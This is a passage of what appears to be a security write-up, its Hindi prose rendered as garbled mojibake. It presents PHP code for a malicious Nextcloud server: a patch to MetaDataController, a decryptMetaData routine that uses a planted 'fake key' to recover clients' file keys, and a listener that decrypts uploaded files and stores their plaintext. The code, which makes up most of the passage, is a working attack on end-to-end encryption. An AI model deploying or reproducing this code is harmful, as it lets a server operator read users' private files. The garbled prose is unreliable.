рдПрдХ рдмрд╛рд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд┐рд╕реА рднреА рдирдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реА рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдХрд┐рд╕реА рднреА рдирдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреА рдкреНрд░рд╛рдкреНрддрд┐ рдкрд░, рд╣рдо рдЕрдкрдиреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

root@kitploit:~
    
    
    --- original/lib/Controller/MetaDataController.php	2024-07-11 23:38:16.102492800 +1000
    +++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php	2024-07-11 20:54:06.794689137 +1000
    @@ -164,9 +170,11 @@
     		}
    
     		if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
     			throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
     		}
    
    +		$this->metaDataStorage->decryptMetaData($id, $metaData);
    +
     		try {
     			$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
     		} catch (MissingMetaDataException $e) {
    

root@kitploit:~
    
    
    	public function decryptMetaData(int $id, string $metaData) {
    		$this->verifyFolderStructure();
    
    		$folderName = $this->getFolderNameForFileId($id);
    		$folder = $this->appData->getFolder($folderName);
    
    		/* Try to decrypt the incoming metadata with our fake key */
    		$metaData = json_decode($metaData);
    		$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
    		$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
    		$ciphertext = substr($ciphertextAndTag, 0, -16);
    		$nonce = base64_decode($metaData->metadata->nonce);
    		$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
    
    		/* If we succeed, store the decrypted metadata */
    		if ($gzippedPlaintext) {
    			$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
    			foreach ($decodedMetadata->files as $encryptedFilename => $file) {
    				try {
    					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
    					$metadataEntity->setEncryptedFilename($encryptedFilename);
    					$metadataEntity->setKey($file->key);
    					$metadataEntity->setKey($file->key);
    					$metadataEntity->setNonce($file->nonce);
    					$metadataEntity->setAuthenticationTag($file->authenticationTag);
    					$metadataEntity->setFilename($file->filename);
    					$this->metadataMapper->update($metadataEntity);
    				} catch (DoesNotExistException $ex) {
    					$newMetadata = new Metadata();
    					$newMetadata->setFolderId($id);
    					$newMetadata->setEncryptedFilename($encryptedFilename);
    					$newMetadata->setKey($file->key);
    					$newMetadata->setNonce($file->nonce);
    					$newMetadata->setAuthenticationTag($file->authenticationTag);
    					$newMetadata->setFilename($file->filename);
    					$this->metadataMapper->insert($newMetadata);
    				}
    			}
    			foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
    				try {
    					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
    					$metadataEntity->setFilename($filename);
    					$this->metadataMapper->update($metadataEntity);
    				} catch (DoesNotExistException $ex) {
    					$newMetadata = new Metadata();
    					$newMetadata->setFolderId($id);
    					$newMetadata->setEncryptedFilename($encryptedFilename);
    					$newMetadata->setFilename($filename);
    					$this->metadataMapper->insert($newMetadata);
    				}
    			}
    		}
    	}
    

рдЕрдВрдд рдореЗрдВ, рд╣рдо рдирдИ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдП рдЬрд╛рдиреЗ рдкрд░ рдПрдХ рд▓рд┐рд╕рдирд░ рдмрдирд╛рддреЗ рд╣реИрдВ, рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдореЗрдВ рдкрд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

root@kitploit:~
    
    
    class NodeCreatedListener implements IEventListener {
    	private MetadataMapper $metadataMapper;
    	private PlaintextMapper $plaintextMapper;
    
    	public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
    		$this->metadataMapper = $metadataMapper;
    		$this->plaintextMapper = $plaintextMapper;
    	}
    
    	public function handle(Event $event): void {
    		if (!($event instanceof NodeCreatedEvent)) {
    			return;
    		}
    
    		$node = $event->getNode();
    		$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
    		if ($node instanceof File) {
    			$curr = $node;
    			while (!($curr instanceof Root)) {
    				$curr = $curr->getParent();
    				$id = $curr->getId();
    
    				try {
    					$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
    				} catch (DoesNotExistException $ex) {
    					continue;
    				}
    
    				/* Metadata found: try to decrypt */
    				$key = base64_decode($metadata->getKey());
    				$nonce = base64_decode($metadata->getNonce());
    				$authenticationTag = base64_decode($metadata->getAuthenticationTag());
    				$ciphertext = substr($node->getContent(), 0, -16);
    				$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
    
    				if ($plaintext) {
    					/* Decryption successful. Store in DB */
    					try {
    						$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
    						$plaintextEntity->setPlaintext($plaintext);
    						$this->plaintextMapper->update($plaintextEntity);
    					} catch (DoesNotExistException $ex) {
    						$plaintextEntity = new Plaintext();
    						$plaintextEntity->setId($metadata->getId());
    						$plaintextEntity->setPlaintext($plaintext);
    						$this->plaintextMapper->insert($plaintextEntity);
    					}
    					break;
    				}
    			}
    		}
    	}
    }